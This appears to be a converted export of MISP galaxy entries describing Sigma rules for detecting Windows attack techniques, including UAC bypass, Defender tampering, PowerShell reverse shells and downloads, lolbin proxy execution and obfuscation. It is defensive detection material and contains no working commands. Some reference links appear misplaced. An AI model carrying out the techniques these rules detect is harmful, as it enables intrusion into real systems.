**Table 9540. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bf28e2a9/atomics/T1543.003/T1543.003.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bf28e2a9/atomics/T1543.003/T1543.003.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_create_service.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_create_service.yml</a></td>
</tr>
</tbody>
</table>

**Non Interactive PowerShell Process Spawned**

Detects non-interactive PowerShell activity by looking at the "powershell" process with a non-user GUI process such as "explorer.exe" as a parent.

The tag is: *misp-galaxy:sigma-rules="Non Interactive PowerShell Process Spawned"*

**View relationships graph**

Non Interactive PowerShell Process Spawned has relationships with:


**Table 9541. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_non_interactive_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_non_interactive_execution.yml</a></td>
</tr>
</tbody>
</table>

**Execute Files with Msdeploy.exe**

Detects file execution using the msdeploy.exe lolbin

The tag is: *misp-galaxy:sigma-rules="Execute Files with Msdeploy.exe"*

**View relationships graph**

Execute Files with Msdeploy.exe has relationships with:
UAC Bypass Using PkgMgr and DISM

Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23)

The tag is: `misp-galaxy:sigma-rules="UAC Bypass Using PkgMgr and DISM"

View relationships graph

UAC Bypass Using PkgMgr and DISM has relationships with:


Lolbin Runexehelper Use As Proxy

Detect usage of the "runexehelper.exe" binary as a proxy to launch other programs

The tag is: `misp-galaxy:sigma-rules="Lolbin Runexehelper Use As Proxy"

View relationships graph

Lolbin Runexehelper Use As Proxy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
Dism Remove Online Package

Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images

The tag is: *misp-galaxy:sigma-rules="Dism Remove Online Package"*

View relationships graph

Dism Remove Online Package has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 9545. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd3d3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-26---disable-windows-defender-with-dism">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd3d3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-26---disable-windows-defender-with-dism</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsim_remove.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsim_remove.yml</a></td>
</tr>
</tbody>
</table>

Suspicious File Download From File Sharing Domain Via Wget.EXE

Detects potentially suspicious file downloads from file sharing domains using wget.exe

The tag is: *misp-galaxy:sigma-rules="Suspicious File Download From File Sharing Domain Via Wget.EXE"*

Table 9546. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7V_EEAM/iocs.csv">https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7V_EEAM/iocs.csv</a></td>
</tr>
</tbody>
</table>
Suspicious Response File Execution Via Odbcconf.EXE

Detects execution of "odbcconf" with the "-f" flag in order to load a response file with a non-".rsp" extension.

The tag is: misp-galaxy:sigma-rules="Suspicious Response File Execution Via Odbcconf.EXE"

View relationships graph

Suspicious Response File Execution Via Odbcconf.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"

Table 9547. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/">https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_response_file_susp.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_response_file_susp.yml</a></td>
</tr>
</tbody>
</table>

Potential Windows Defender Tampering Via Wmic.EXE

Detects potential tampering with Windows Defender settings such as adding exclusion using wmic

The tag is: misp-galaxy:sigma-rules="Potential Windows Defender Tampering Via Wmic.EXE"

View relationships graph

Potential Windows Defender Tampering Via Wmic.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"

Table 9548. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Hiding Files with Attrib.exe

Detects usage of attrib.exe to hide files from users.

The tag is: `misp-galaxy: sigma-rules=“Hiding Files with Attrib.exe”`

View relationships graph

Hiding Files with Attrib.exe has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language: likelihood-probability="almost-certain"

Table 9549. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/">https://unit42.paloaltonetworks.com/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/</a></td>
</tr>
<tr>
<td><a href="https://www.uptycs.com/blog/lolbins-are-no-laughing-matter">https://www.uptycs.com/blog/lolbins-are-no-laughing-matter</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_hiding_files.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_hiding_files.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Reg Add BitLocker

Detects suspicious addition to BitLocker related registry keys via the reg.exe utility

The tag is: `misp-galaxy: sigma-rules=“Suspicious Reg Add BitLocker”`

View relationships graph

Suspicious Reg Add BitLocker has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language: likelihood-probability="almost-certain"

Table 9550. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Execution in Webserver Root Folder

Detects a suspicious program execution in a web service root folder (filter out false positives)

The tag is: misp-galaxy:sigma-rules="Execution in Webserver Root Folder"

View relationships graph

Execution in Webserver Root Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 9551. Table References

Links

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_bitlocker.yml

Uncommon Child Process Of Appvlp.EXE

Detects uncommon child processes of Appvlp.EXE Appvlp or the Application Virtualization Utility is included with Microsoft Office. Attackers are able to abuse "AppVLP" to execute shell commands. Normally, this binary is used for Application Virtualization, but it can also be abused to circumvent the ASR file path rule folder or to mark a file as a system file.

The tag is: misp-galaxy:sigma-rules="Uncommon Child Process Of Appvlp.EXE"

View relationships graph

Uncommon Child Process Of Appvlp.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9552. Table References

Links

https://lolbas-project.github.io/lolbas/OtherMSBinaries/Appvlp/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_appvlp_uncommon_child_process.yml

Potential Defense Evasion Via Right-to-Left Override

Detects the presence of the “u202+E” character, which causes a terminal, browser, or operating
system to render text in a right-to-left sequence. This is used as an obfuscation and masquerading techniques.

The tag is: misp-galaxy:sigma-rules="Potential Defense Evasion Via Right-to-Left Override"

View relationships graph

Potential Defense Evasion Via Right-to-Left Override has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Right-to-Left Override - T1036.002" with estimative-language:likelihood-probability="almost-certain"

Table 9553. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redcanary.com/blog/right-to-left-override/">https://redcanary.com/blog/right-to-left-override/</a></td>
</tr>
<tr>
<td><a href="https://unicode-explorer.com/c/202E">https://unicode-explorer.com/c/202E</a></td>
</tr>
<tr>
<td><a href="https://www.malwarebytes.com/blog/news/2014/01/the-rtlo-method">https://www.malwarebytes.com/blog/news/2014/01/the-rtlo-method</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_right_to_left_override.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_right_to_left_override.yml</a></td>
</tr>
</tbody>
</table>

Windows Processes Suspicious Parent Directory

Detect suspicious parent processes of well-known Windows processes

The tag is: misp-galaxy:sigma-rules="Windows Processes Suspicious Parent Directory"

View relationships graph

Windows Processes Suspicious Parent Directory has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

Table 9554. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2">https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_proc_wrong_parent.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_proc_wrong_parent.yml</a></td>
</tr>
</tbody>
</table>
**File In Suspicious Location Encoded To Base64 Via Certutil.EXE**

Detects the execution of certutil with the "encode" flag to encode a file to base64 where the files are located in potentially suspicious locations

The tag is: `misp-galaxy:sigma-rules="File In Suspicious Location Encoded To Base64 Via Certutil.EXE"`

View relationships graph

File In Suspicious Location Encoded To Base64 Via Certutil.EXE has relationships with:

- `related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 9555. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virustotal.com/gui/file/427616528b7dbc4a6057ac89eb174a3a90f7abcf3f34e5a359b7a910d82f7a72/behavior">https://www.virustotal.com/gui/file/427616528b7dbc4a6057ac89eb174a3a90f7abcf3f34e5a359b7a910d82f7a72/behavior</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/4abe1395a09fda06d897a9c4eb247278c1b6cddda5d126ce5b3f4f499e3b8fa2/behavior">https://www.virustotal.com/gui/file/4abe1395a09fda06d897a9c4eb247278c1b6cddda5d126ce5b3f4f499e3b8fa2/behavior</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/34de4c8beded481a4084a1fd77855c3e977e8ac643e5c5842d0f15f7f9b9086f/behavior">https://www.virustotal.com/gui/file/34de4c8beded481a4084a1fd77855c3e977e8ac643e5c5842d0f15f7f9b9086f/behavior</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/35c22725a92d5cb1016b09421c0a6cdbfd860fd4778b3313669b057d4a131cb7/behavior">https://www.virustotal.com/gui/file/35c22725a92d5cb1016b09421c0a6cdbfd860fd4778b3313669b057d4a131cb7/behavior</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_encode_susp_location.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_encode_susp_location.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Redirection to Local Admin Share**

Detects a suspicious output redirection to the local admins share, this technique is often found in malicious scripts or hacktool stagers

The tag is: `misp-galaxy:sigma-rules="Suspicious Redirection to Local Admin Share"`

View relationships graph

Suspicious Redirection to Local Admin Share has relationships with:


**Table 9556. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

6116
Wlrmdr Lolbin Use as Launcher

Detects use of Wlrmdr.exe in which the -u parameter is passed to ShellExecute

The tag is: `misp-galaxy:sigma-rules="Wlrmdr Lolbin Use as Launcher"`

View relationships graph

Wlrmdr Lolbin Use as Launcher has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

Table 9557. Table References

Links

- https://twitter.com/0gtweet/status/1493963591745220608?s=20&t=xUg9DsZhJy1q9bPTUWgeIQ
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wlrmdr.yml

Renamed Mavinject.EXE Execution

Detects the execution of a renamed version of the "Mavinject" process. Which can be abused to perform process injection using the "/INJECTRUNNING" flag

The tag is: `misp-galaxy:sigma-rules="Renamed Mavinject.EXE Execution"`

View relationships graph

Renamed Mavinject.EXE Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9558. Table References

Links

- https://twitter.com/Hexacorn/status/776122138063409152
- https://reaqta.com/2017/12/mavinject-microsoft-injector/
Potential Powershell ReverseShell Connection

Detects usage of the "TcpClient" class. Which can be abused to establish remote connections and reverse-shells. As seen used by the Nishang "Invoke-PowerShellTcpOneLine" reverse shell and other.

The tag is: *misp-galaxy:sigma-rules="Potential Powershell ReverseShell Connection"*

View relationships graph

Potential Powershell ReverseShell Connection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9559. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/">https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/</a></td>
</tr>
<tr>
<td><a href="https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Shells/Invoke-PowerShellTcpOneLine.ps1">https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Shells/Invoke-PowerShellTcpOneLine.ps1</a></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/">https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_reverse_shell_connection.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_reverse_shell_connection.yml</a></td>
</tr>
</tbody>
</table>

New Remote Desktop Connection Initiated Via Mstsc.EXE

Detects the usage of "mstsc.exe" with the "/v" flag to initiate a connection to a remote server. Adversaries may use valid accounts to log into a computer using the Remote Desktop Protocol.
(RDP). The adversary may then perform actions as the logged-on user.

The tag is: `misp-galaxy:sigma-rules="New Remote Desktop Connection Initiated Via Mstsc.EXE"`

View relationships graph

New Remote Desktop Connection Initiated Via Mstsc.EXE has relationships with:


Table 9560. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001---remote-desktop-protocol">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001---remote-desktop-protocol</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_remote_connection.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_remote_connection.yml</a></td>
</tr>
</tbody>
</table>

**Remote Access Tool - ScreenConnect Execution**

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMeIn, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: `misp-galaxy:sigma-rules="Remote Access Tool - ScreenConnect Execution"`

View relationships graph

Remote Access Tool - ScreenConnect Execution has relationships with:


Table 9561. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_screenconnect.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_screenconnect.yml</a></td>
</tr>
</tbody>
</table>
Suspicious VsIls-Agent Command With AgentExtensionPath Load

Detects Microsoft Visual Studio vsIls-agent.exe lolbin execution with a suspicious library load using the --agentExtensionPath parameter.

The tag is: `misp-galaxy:sigma-rules="Suspicious VsIls-Agent Command With AgentExtensionPath Load"`

View relationships graph

Suspicious VsIls-Agent Command With AgentExtensionPath Load has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

Table 9562. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/bohops/status/1583916360404729857">https://twitter.com/bohops/status/1583916360404729857</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vslsagent_agentextensionpath_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vslsagent_agentextensionpath_load.yml</a></td>
</tr>
</tbody>
</table>

Cmd.EXE Missing Space Characters Execution Anomaly

Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe. This could be a sign of obfuscation of a fat finger problem (typo by the developer).

The tag is: `misp-galaxy:sigma-rules="Cmd.EXE Missing Space Characters Execution Anomaly"`

View relationships graph

Cmd.EXE Missing Space Characters Execution Anomaly has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9563. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/cyb3rops/status/1562072617552678912">https://twitter.com/cyb3rops/status/1562072617552678912</a></td>
</tr>
<tr>
<td><a href="https://ss64.com/nt/cmd.html">https://ss64.com/nt/cmd.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_no_space_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_no_space_execution.yml</a></td>
</tr>
</tbody>
</table>
Suspicious MSDT Parent Process

Detects msdt.exe executed by a suspicious parent as seen in CVE-2022-30190 / Follina exploitation

The tag is: misp-galaxy:sigma-rules="Suspicious MSDT Parent Process"

View relationships graph

Suspicious MSDT Parent Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9564. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/nao_sec/status/1530196847679401984">https://twitter.com/nao_sec/status/1530196847679401984</a></td>
</tr>
<tr>
<td><a href="https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/">https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msd%D1%82_susp_parent.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdт_susp_parent.yml</a></td>
</tr>
</tbody>
</table>

Potential PowerShell Command Line Obfuscation

Detects the PowerShell command lines with special characters

The tag is: misp-galaxy:sigma-rules="Potential PowerShell Command Line Obfuscation"

View relationships graph

Potential PowerShell Command Line Obfuscation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9565. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=64">https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=64</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_special_characters.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_special_characters.yml</a></td>
</tr>
</tbody>
</table>
Potential Unquoted Service Path Reconnaissance Via Wmic.EXE

Detects known WMI recon method to look for unquoted service paths using wmic. Often used by pentester and attacker enumeration scripts

The tag is: `misp-galaxy:sigma-rules="Potential Unquoted Service Path Reconnaissance Via Wmic.EXE"`

View relationships graph

Potential Unquoted Service Path Reconnaissance Via Wmic.EXE has relationships with:


Table 9566. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1">https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1</a></td>
</tr>
<tr>
<td><a href="https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py">https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py</a></td>
</tr>
</tbody>
</table>

Suspicious Desktopimgdownldr Command

Detects a suspicious Microsoft desktopimgdownldr execution with parameters used to download files from the Internet

The tag is: `misp-galaxy:sigma-rules="Suspicious Desktopimgdownldr Command"`

View relationships graph

Suspicious Desktopimgdownldr Command has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 9567. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/SBousseaden/status/1278977301745741825">https://twitter.com/SBousseaden/status/1278977301745741825</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_desktopimgdownldr_susp_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_desktopimgdownldr_susp_execution.yml</a></td>
</tr>
</tbody>
</table>

6122
HackTool - Certipy Execution

Detects Certipy a tool for Active Directory Certificate Services enumeration and abuse based on PE metadata characteristics and common command line arguments.

The tag is: misp-galaxy:sigma-rules="HackTool - Certipy Execution"

View relationships graph

HackTool - Certipy Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal or Forge Authentication Certificates - T1649" with estimative-language:likelihood-probability="almost-certain"

Table 9568. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/ly4k/Certipy">https://github.com/ly4k/Certipy</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_certipy.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_certipy.yml</a></td>
</tr>
</tbody>
</table>

Potential Commandline Obfuscation Using Escape Characters

Detects potential commandline obfuscation using known escape characters

The tag is: misp-galaxy:sigma-rules="Potential Commandline Obfuscation Using Escape Characters"

View relationships graph

Potential Commandline Obfuscation Using Escape Characters has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 9569. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/obfuscation-wild-targeted-attackers-lead-way-evasion-techniques">https://www.mandiant.com/resources/blog/obfuscation-wild-targeted-attackers-lead-way-evasion-techniques</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/vysecurity/status/885545634958385153">https://twitter.com/vysecurity/status/885545634958385153</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Hexacorn/status/885570278637678592">https://twitter.com/Hexacorn/status/885570278637678592</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Hexacorn/status/885553465417756673">https://twitter.com/Hexacorn/status/885553465417756673</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cli_obfuscation_escape_char.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cli_obfuscation_escape_char.yml</a></td>
</tr>
</tbody>
</table>
PowerShell DownloadFile

Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line

The tag is: misp-galaxy:sigma-rules="PowerShell DownloadFile"

View relationships graph

PowerShell DownloadFile has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 9570. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html">https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_ps_downloadfile.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_ps_downloadfile.yml</a></td>
</tr>
</tbody>
</table>

Unusual Child Process of dns.exe

Detects an unexpected process spawning from dns.exe which may indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)

The tag is: misp-galaxy:sigma-rules="Unusual Child Process of dns.exe"

View relationships graph

Unusual Child Process of dns.exe has relationships with:


Table 9571. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_susp_child_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_susp_child_process.yml</a></td>
</tr>
</tbody>
</table>
Invoke-Obfuscation CLIP+ Launcher

Detects Obfuscated use of Clip.exe to execute PowerShell

The tag is: `misp-galaxy:sigma-rules="Invoke-Obfuscation CLIP+ Launcher"`

View relationships graph

Invoke-Obfuscation CLIP+ Launcher has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9572. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
